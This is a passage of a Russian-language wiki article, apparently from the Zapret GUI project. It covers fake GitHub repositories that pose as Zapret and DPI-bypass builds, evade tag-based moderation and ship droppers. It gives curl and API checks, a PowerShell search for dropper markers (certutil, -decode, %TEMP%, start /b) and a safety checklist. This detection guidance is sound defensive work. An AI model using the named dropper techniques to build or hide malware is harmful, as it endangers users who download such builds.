вариантов приведёт к дропперу. > [!tip] Что из этого следует практически > Единственная проверка, которая ловит такую подделку целиком, — **сравнение с эталоном**: скачать официальный релиз и сверить хэши всех файлов, а не читать код глазами. Расхождение в двух файлах из сорока семи видно сразу, и никакая обфускация от этого не спасает. Всё остальное — оформление README, чистота остальных скриптов, наличие подписи, отзывы и звёзды — подделке даётся бесплатно. В [[flowseal-zapret-discord-youtube-block-july-2026|истории с приостановкой аккаунта Flowseal 10 июля 2026]] зафиксирована правдоподобная версия происходящего: GitHub зачищал аккаунты по тегам, связанным с обходом блокировок, — `dpi-bypass`, `rkn-bypass`, `discord-fix`, `unblock-youtube` и другим. Тогда же было видно, что зачистка бьёт мимо цели. Спустя месяц картина не изменилась, а стала нагляднее. Вирусные раздачи просто переехали на теги, которых в старых списках не было. Поиск по темам 11 августа 2026 даёт: | Тег | Репозиториев | | --- | --- | | `zapret-discord` | 993 | | `zapret-discord-youtube-2026` | 509 | | `zapret-telegram` | 172 | | `zapret-youtube` | 141 | У разобранного выше `Vanquishervohonor25/Zapret-4.0` в темах стоят сразу `zapret-telegram`, `zapret-discord-youtube-2026`, `zapret-youtube`, `zapret-4`. У `polaris-vpn-pro-obhod` — восемнадцать тегов, от `free-vpn-russia` до `zapret-vpn-russia`. **Проще говоря:** блокировка по тегу — это фильтр по слову, а слово меняется за секунду редактированием настроек репозитория. Достаточно дописать к прежнему названию год, и раздача снова не попадает ни под один список. Пострадали от такой фильтрации те, кто не подстраивался: у легального проекта тег отражает суть проекта и не меняется каждую неделю. Отсюда неприятное следствие для пользователя: **тег и выдача по теме — не признак безопасности вообще**. Страницу тега наполняют те, кому важно, чтобы их нашли по поиску, а честному проекту при такой политике площадки выгоднее теги вовсе не ставить. ### Третья ступень: раздачи вообще без тегов К августу 2026 появился следующий ход, и он логично следует из двух предыдущих. Если модерация ищет по тегам — можно не ставить теги совсем, а трафик приводить со стороны. Сравнение разобранных раздач по этому признаку: | Раздача | Тегов | Откуда идут люди | | --- | --- | --- | | `SpikeServiceForce/polaris-vpn-pro-obhod` | 18 | поиск по GitHub | | `Quantumfirear/zapret-discord-youtube-1-10-0` | 9 | поиск по GitHub | | `Vanquishervohonor25/Zapret-4.0` | 9 | поиск плюс своя страница | | `Enamelzestation/zapret-discord-youtube` | 7 | поиск по GitHub | | `limitministerflex/obhod-zapreta-whitelists` | 5 | поиск по GitHub | | `LimeChairmanDirect/LimeChairmanDirect` | **0** | только внешний сайт | Последняя строка — раздача [[hidemydiscord-loader-august-2026|HideMyDiscord]]: ни одного тега, ни описания, ни звёзд, а сам репозиторий — профильный, то есть тот, где обычно лежит README страницы пользователя. Найти его поиском по GitHub невозможно в принципе: искать нечего. Люди приходят с отдельного сайта, который продвигается за пределами площадки. **Проще говоря:** пока модерация училась распознавать раздачи по тегам и накрученным звёздам, раздачи перестали пользоваться и тем, и другим. Витрина переехала на собственный домен, а GitHub остался в роли обычного файлового хостинга — бесплатного, быстрого и не вызывающего подозрений в адресной строке. Из этого следует и ответ на вопрос «почему площадка их не видит»: **у таких репозиториев нет ни одного признака, по которому автоматика могла бы их сгруппировать**. Ни тега, ни описания, ни характерного имени, ни всплеска звёзд. Чистить по тегам, как в июле, тут просто нечего — и зачистка по-прежнему бьёт по тем, кто теги ставит честно, то есть по открытым проектам. ## Как проверить это самому Все числа выше воспроизводятся публичными запросами — ни аккаунта, ни токена не нужно. Проверка занимает минуту и одинаково работает для любого репозитория, который вам предлагают скачать. Доступность страницы и код ответа: ```bash curl -s -o /dev/null -w "%{http_code}\n" https://github.com/ИМЯ/РЕПОЗИТОРИЙ ``` Возраст аккаунта и репозитория — если репозиторий появился через минуту после регистрации, а звёзд сотни, вопрос закрыт: ```bash curl -s https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ | grep -E '"(created_at|pushed_at|stargazers_count|forks_count|size)"' ``` Что в истории коммитов на самом деле — сообщения и даты последних двадцати: ```bash curl -s "https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ/commits?per_page=20" | grep -E '"(message|date)"' ``` Размеры файлов в корне репозитория — здесь и вылезает мегабайтный батник: ```bash curl -s https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ/contents/ | grep -E '"(name|size)"' ``` Если сборка уже скачана, в Windows размер файлов и подозрительные команды внутри проверяются штатным PowerShell (файл при этом не запускается): ```powershell Get-ChildItem *.bat | Select-Object Name, Length; Select-String -Path *.bat -Pattern 'certutil|-decode|%TEMP%|start /b' | Select-Object -First 20 ``` ## Обновлённый чек-лист: что смотреть в 2026 году Старые правила из [[virus|каталога вирусных сборок]] остаются в силе, но их уже недостаточно — раздачи научились проходить проверку «один `winws.exe` в папке». К списку добавились новые пункты. - [ ] **Размер `.bat`-файлов.** Норма — единицы килобайт. Мегабайты означают зашитые данные. - [ ] **Слова `certutil`, `-decode`, `%TEMP%`, `start /b` внутри скриптов.** Настоящей сборке они не нужны: она запускает `winws.exe` из своей же папки `bin`. - [ ] **Возраст аккаунта против числа звёзд.** Свежая регистрация плюс сотни звёзд — накрутка. - [ ] **Содержание коммитов, а не их количество.** Одинаковые сообщения с равным интервалом — работа скрипта. - [ ] **Источник контрольных сумм.** Хэш из того же архива не проверяет ничего; сверяйтесь с публикацией первоисточника. - [ ] **Вес и состав архива.** Сто мегабайт «зависимостей» вокруг одного `.exe` — способ затруднить проверку. - [ ] **Есть ли вообще исходный код.** Закрытый бинарник вместо `.bat` и `.ps1` — стоп-сигнал независимо от оформления страницы. - [ ] **Куда ведёт кнопка «Скачать».** Переход на сторонний сайт или GitHub Pages вместо релизов репозитория — повод остановиться. - [ ] **На проверку отправляйте распакованное.** Архив на сто мегабайт скрывает от сканера то, что сам файл внутри детектится в пять раз чаще. - [ ] **Сверяйте с эталоном, а не читайте глазами.** Скачайте официальный релиз и сравните хэши всех файлов: подделка отличается двумя файлами из сорока семи, и это единственное, что видно надёжно. - [ ] **Не верьте вкладке «Цифровые подписи».** Открывайте её и смотрите статус: приклеенная чужая подпись показывает имя Microsoft, но помечена как недействительная. - [ ] **Не верьте свойствам файла.** Поля «Организация» и «Описание» вписывает автор файла: здесь троян представляется службой Intel Management Engine. > [!tip] Единственная надёжная проверка — источник, а не признаки > Перечисленное помогает распознать подделку, но ни один набор признаков не даёт гарантии: сегодня раздача проходит старый чек-лист, завтра — новый. Устойчиво работает только обратный подход — брать сборку по [[Zapret/download|официальным ссылкам проекта]], а всё найденное поиском по GitHub считать неизвестным происхождением, пока не доказано обратное. ## Что это значит для самих проектов Для команды [[Zapret GUI]] урок дня практический: аккаунт на чужой платформе — не собственность, а разрешение, которое отзывается автоматикой и без объяснений. Это уже случалось раньше — по свидетельству команды, её первый аккаунт GitHub был удалён без объяснения причин, и восстановить его не удалось. Поэтому основной дом проекта перенесён в собственный Forgejo на `git.zapret.moe`. Форки Telegram-клиента, недоступные на GitHub, продолжают жить там: [zastogram/ZaStoGram](https://git.zapret.moe/zastogram/ZaStoGram) и [zastogram/ZaStoGram_desktop](https://git.zapret.moe/zastogram/ZaStoGram_desktop) — те самые сборки с [[mtproxy/telegram-wss-transport|WSS-транспортом внутри клиента]]. Своя площадка не делает код безопаснее сама по себе, но убирает главный риск: удаление проекта по совпадению тега или срабатыванию антифрода. Читателю из этого следует одно правило: **не искать сборку заново каждый раз, когда привычная ссылка перестала открываться**. Именно в этот момент — когда честный репозиторий пропал, а человек ищет замену — подделки собирают основной урожай. Так работал вирусный фейк [[flowseal-fake-youtube-salatstealer-july-2026|«Flowseal» на YouTube со стилером SalatStealer]] сразу после июльской приостановки, и так же работают разобранные здесь раздачи с 200 звёздами. Список рабочих зеркал и каналов проекта — в [[Zapret/download|инструкции по официальным источникам]]. ## 📚 См. также - [[virus|👾 Каталог вирусных сборок Zapret и чек-лист проверки]] — база, к которой эта заметка добавляет приём с payload внутри `.bat` - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть клонов Bypass Ultimate / discord-cdn-fix]] — накрутка звёзд ровно до одного числа внутри кластера - [[flowseal-zapret-discord-youtube-block-july-2026|🚫 Приостановка аккаунта Flowseal 10 июля 2026]] — первая волна зачистки по тегам и её последствия - [[hidemydiscord-loader-august-2026|🎣 HideMyDiscord — рабочий обход с загрузчиком в комплекте]] — сборка с того же конвейера аккаунтов: обход честно работает, а рядом с ядром запускается загрузчик - [[fixit-arcane-stealer-kaspersky-august-2026|🪤 Fixit — приманка для стилера Arcane]] — раздача, где вредоноса нет ни в репозитории, ни в архиве: он приезжает по ссылке через сокращатель - [[flowseal-fake-youtube-salatstealer-july-2026|🥗 Фейковый «Flowseal» со стилером SalatStealer]] — что происходит с теми, кто ищет замену пропавшему репозиторию - [[Zapret/download|Как скачать Zapret из официальных источников]] - [[mtproxy/telegram-wss-transport|WSS: MTProto внутри WebSocket]] — про ZaStoGram, чей GitHub-репозиторий стал недоступен 11 августа 2026 - 🔗 [VirusTotal](https://www.virustotal.com) — проверка файла по хэшу без скачивания - 🔗 [Теги zapret-discord-youtube-2026](https://github.com/topics/zapret-discord-youtube-2026) и [zapret-telegram](https://github.com/topics/zapret-telegram) — куда переехали раздачи после зачистки старых тегов --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/virus/github-removes-clean-zapret-keeps-malware-august-2026.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip).